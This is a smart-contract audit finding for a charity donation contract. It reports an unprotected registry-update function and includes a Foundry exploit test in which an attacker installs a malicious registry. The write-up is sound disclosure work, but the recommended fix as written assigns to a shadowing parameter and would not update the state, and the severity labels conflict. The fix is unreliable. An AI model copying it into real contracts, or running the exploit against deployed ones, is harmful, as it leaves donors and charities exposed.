GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[M-01] Unprotected Registry Update Function Allows Unauthorized Control of Charity Verification

iepathos

Summary

The GivingThanks contract contains an unprotected updateRegistry function that allows any address to change the charity registry. This enables malicious actors to control which charities can receive donations by replacing the legitimate registry with a malicious one.

Vulnerability Details

The vulnerability exists in the following function:

function updateRegistry(address registry) public {
registry = CharityRegistry(registry);
}

Key issues:

  1. No access control on who can update the registry

  2. No validation of the new registry address

  3. No events emitted for tracking changes

This allows attackers to:

  1. Deploy their own malicious registry

  2. Update the GivingThanks contract to use their registry

  3. Control which charities can receive donations

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "forge-std/Test.sol";
import "../../src/GivingThanks.sol";
import "../../src/CharityRegistry.sol";
​
// Malicious registry that allows only attacker's charity
contract MaliciousRegistry {
address public owner;
address public attackerCharity;
constructor(address _attackerCharity) {
owner = msg.sender;
attackerCharity = _attackerCharity;
}
// Only return true for attacker's charity
function isVerified(address charity) public view returns (bool) {
return charity == attackerCharity;
}
}
​
contract GivingThanksUpdateRegistry is Test {
GivingThanks public givingThanks;
CharityRegistry public legitimateRegistry;
MaliciousRegistry public maliciousRegistry;
address public admin = address(this);
address public attacker = address(0x1);
address public legitimateCharity = address(0x2);
address public attackerCharity = address(0x3);
​
function setUp() public {
// Deploy legitimate registry as admin
legitimateRegistry = new CharityRegistry();
// Deploy GivingThanks with legitimate registry
vm.prank(address(legitimateRegistry));
givingThanks = new GivingThanks(address(legitimateRegistry));
// Register legitimate charity
legitimateRegistry.registerCharity(legitimateCharity);
legitimateRegistry.verifyCharity(legitimateCharity);
​
// Deploy malicious registry controlled by attacker
vm.prank(attacker);
maliciousRegistry = new MaliciousRegistry(attackerCharity);
// Label addresses for better trace output
vm.label(admin, "Admin");
vm.label(attacker, "Attacker");
vm.label(legitimateCharity, "Legitimate Charity");
vm.label(attackerCharity, "Attacker's Charity");
vm.label(address(legitimateRegistry), "Legitimate Registry");
vm.label(address(maliciousRegistry), "Malicious Registry");
}
​
function testRegistryControlAttack() public {
// Initial donation to legitimate charity works normally
vm.deal(address(this), 2 ether);
// First donation works
givingThanks.donate{value: 1 ether}(legitimateCharity);
assertEq(legitimateCharity.balance, 1 ether, "Initial donation should go to legitimate charity");
​
// Attacker takes control
vm.startPrank(attacker);
givingThanks.updateRegistry(address(maliciousRegistry));
vm.stopPrank();
​
// Now legitimate charity donations should fail
vm.expectRevert("Charity not verified");
givingThanks.donate{value: 1 ether}(legitimateCharity);
// But attacker's charity can receive donations
givingThanks.donate{value: 1 ether}(attackerCharity);
// Verify attack success
assertEq(legitimateCharity.balance, 1 ether, "Legitimate charity balance should not increase");
assertEq(attackerCharity.balance, 1 ether, "Attacker's charity should receive the donation");
}
}

Impact

  • Severity: Medium

  • Likelihood: High (simple to execute)

Effects:

  1. Attackers can block legitimate charities from receiving donations

  2. Attackers can whitelist their own addresses as valid charities

  3. Disruption of the platform's intended functionality

  4. Loss of trust in the platform

Limitations:

  • Cannot steal or redirect existing funds

  • Cannot redirect new donations to different addresses

  • NFT minting functionality remains intact

Tools Used

  • Foundry Test Framework

  • Manual code review

Recommendations

Add owner-only access control to the updateRegistry function:

function updateRegistry(address registry) public {
require(msg.sender == owner, "Not owner");
require(registry != address(0), "Zero address");
registry = CharityRegistry(registry);
emit RegistryUpdated(registry);
}
Updates

Lead Judging Commences

n0kto Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.